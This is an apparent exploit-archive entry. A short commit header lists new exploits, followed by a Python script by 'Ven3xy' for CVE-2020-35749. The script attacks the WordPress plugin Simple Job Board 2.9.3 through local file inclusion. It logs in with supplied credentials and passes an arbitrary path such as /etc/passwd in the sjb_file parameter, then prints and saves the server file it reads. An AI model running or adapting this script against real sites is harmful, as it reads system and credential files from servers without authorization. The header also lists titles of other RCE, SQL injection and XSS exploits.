41553c4004
11 changes to exploits/shellcodes Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated) Hotel Reservation System 1.0 - SQLi (Unauthenticated) Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE) Hospital Management System 4.0 - 'multiple' SQL Injection WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS) Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS) WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS) Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
80 lines
No EOL
2.9 KiB
Python
Executable file
80 lines
No EOL
2.9 KiB
Python
Executable file
# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion
|
|
# Date: 2022-02-06
|
|
# Exploit Author: Ven3xy
|
|
# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/
|
|
# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip
|
|
# Version: 2.9.3
|
|
# Tested on: Ubuntu 20.04 LTS
|
|
# CVE : CVE-2020-35749
|
|
|
|
|
|
import requests
|
|
import sys
|
|
import time
|
|
|
|
class color:
|
|
HEADER = '\033[95m'
|
|
IMPORTANT = '\33[35m'
|
|
NOTICE = '\033[33m'
|
|
OKBLUE = '\033[94m'
|
|
OKGREEN = '\033[92m'
|
|
WARNING = '\033[93m'
|
|
RED = '\033[91m'
|
|
END = '\033[0m'
|
|
UNDERLINE = '\033[4m'
|
|
LOGGING = '\33[34m'
|
|
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]
|
|
|
|
|
|
def banner():
|
|
run = color_random[6]+'''\nY88b / 888~~ 888 ,e, d8
|
|
Y88b / 888-~88e 888___ Y88b / 888-~88e 888 e88~-_ " _d88__
|
|
Y88b e / 888 888b ____ 888 Y88b/ 888 888b 888 d888 i 888 888
|
|
Y88bd8b/ 888 8888 888 Y88b 888 8888 888 8888 | 888 888
|
|
Y88Y8Y 888 888P 888 /Y88b 888 888P 888 Y888 ' 888 888
|
|
Y Y 888-_88" 888___ / Y88b 888-_88" 888 "88_-~ 888 "88_/
|
|
888 888 \n'''
|
|
run2 = color_random[2]+'''\t\t\t(CVE-2020-35749)\n'''
|
|
run3 = color_random[4]+'''\t{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }\n\n'''
|
|
print(run+run2+run3)
|
|
|
|
|
|
|
|
if (len(sys.argv) != 5):
|
|
banner()
|
|
print("[!] Usage : ./wp-exploit.py <target_url> <file_path> <USER> <PASS>")
|
|
print("[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin")
|
|
exit()
|
|
|
|
else:
|
|
banner()
|
|
fetch_path = sys.argv[2]
|
|
print (color_random[5]+"[+] Trying to fetch the contents from "+fetch_path)
|
|
time.sleep(3)
|
|
target_url = sys.argv[1]
|
|
usernamex = sys.argv[3]
|
|
passwordx = sys.argv[4]
|
|
print("\n")
|
|
login = target_url+"wp-login.php"
|
|
wp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path
|
|
username = usernamex
|
|
password = passwordx
|
|
|
|
with requests.Session() as s:
|
|
headers = { 'Cookie':'wordpress_test_cookie=WP Cookie check',
|
|
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }
|
|
|
|
post_data={ 'log':username, 'pwd':password,
|
|
'wp-submit':'Log In','redirect_to':wp_path,
|
|
'testcookie':'1'
|
|
}
|
|
|
|
s.post(login, headers=headers, data=post_data)
|
|
resp = s.get(wp_path)
|
|
|
|
out_file = open("output.txt", "w")
|
|
print(resp.text, file=out_file)
|
|
out_file.close()
|
|
print(color_random[4]+resp.text)
|
|
out = color_random[5]+"\n[+] Output Saved as: output.txt\n"
|
|
print(out) |